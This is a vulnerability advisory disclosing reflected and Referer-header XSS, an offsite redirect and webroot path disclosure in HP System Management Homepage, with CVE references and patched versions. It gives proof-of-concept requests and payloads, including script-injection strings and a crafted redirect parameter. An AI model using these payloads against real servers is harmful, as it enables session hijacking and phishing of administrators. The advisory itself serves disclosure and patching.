PR10-11: Multiple XSS injection vulnerabilities and a offsite
redirection flaw within HP System Management Homepage (Insight Manager)

Vulnerability found: 6th June 2010

Date Published 20th May 2011

Severity: Medium


Description:

XSS vulnerabilities have been found within HP System Management; Arising
from insufficient input filtering.
By using a specially-crafted link, and tricking the victim into clicking
on it, an attacker can perform malicious attacks such as the following:

- Hijack user accounts by stealing the victim's cookies that are
assigned to the victim's browser by the vulnerable website

- Hijack user accounts by injecting a "fake" html form on the html
rendered by the victim's web browser

- Redirect the victim to a malicious third-party website which would
perform a phishing attack to steal the user credentials or exploit a
vulnerability (i.e.: buffer overflow) on the

victim's web browser in order to compromise the victim's workstation

Notes:

Authentication is normally needed, unless system has been configured to
support anonymous autologin.

Successfully tested on:
Version v3.0.0.64 windows
Version v6.0.0.96 windows
Version v6.1.0.102 windows
Version v6.1.0.103 linux

Tested on Windows 2008 64bit, Windows 2003 and Centos/Red Hat enterprise

Hardware Proliant DL380 G5, DL360 G5, DL380 G4

1) Basic reflective XSS attack (Windows only).

Proof of concept (move mouse pointer over search input box):

https://target-domain.foo:2381/hpdiags/frontend2/help/search.php?query="onmouseover="alert(1);

References: HP Customer Notice: HPSBMA02615 SSRT100228 rev.1 CVE-2010-4111

Fix: HP have issued a fix, download the appropiate update for your
operating system ensuring the sytem management agent is at least version
v8.5.1.3712  or above.

2) Referer header XSS attack - data needs to be sent using the POST method

POST https://target-domain.foo:2381/hmaserv/common/setitem.php

host: target-domain.foo:2381
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8)
Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)
Referer: http://www.procheckup.com</script><script>alert(1)</script>
Cookie:
Compaq-HMMD=0001-7252052a-43b2-fb4a-951f-78af9561826a-1275875265807763;

References: HP Customer Notice:
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02735590
CVE-2010-3283

Fix: HP have issued a fix, download the appropiate update for your
operating system ensuring the sytem management agent is at least version
v8.70.0.0 or above.


3) Offsite redirection by injecting //www.procheckup.com which is taken
as a valid URL by the Firefox web-browser. Submitting instead
http://www.procheckup.com is blocked

POST https://target-domain.foo:2381/proxy/ssllogin

Host: target-domain.foo:2381
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8)
Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
redirecturl=//www.procheckup.com&user=avalidusername&password=avalidpassword

References: HP Customer
Notice:http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02735590

CVE-2011-1537

Fix: HP have issued a fix, download the appropiate update for your
operating system ensuring the sytem management agent is at least version
v8.5.1.3712 or above.

4) Information disclosure (many such cases) - webroot is disclosed.

https://target-domain.foo:2381/hmanics/hmanics.snmp.php

For windows :-
Fatal error: Call to undefined function QueueSNMP() in
C:\hp\hpsmh\data\htdocs\hmanics\hmanics.snmp.php.en on line 3

For Linux:-
Fatal error: Call to undefined function QueueSNMP() in
/opt/hp/hpsmh/data/htdocs/hmanics/hmanics.snmp.php.en on line 3

Consequences:

Attackers can force the victim's web browser to perform XSS/HTML
injection in the security context of the vulnerable site in order to
gather data from users who visit a page within

the target site.

References: HP Customer Notice: HPSN-2008-002 CVE-2010-4112

Fix: HP have issued a fix, download the appropiate update for your
operating system ensuring the sytem management agent is at least version
v8.5.1.3712  or above.



Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)



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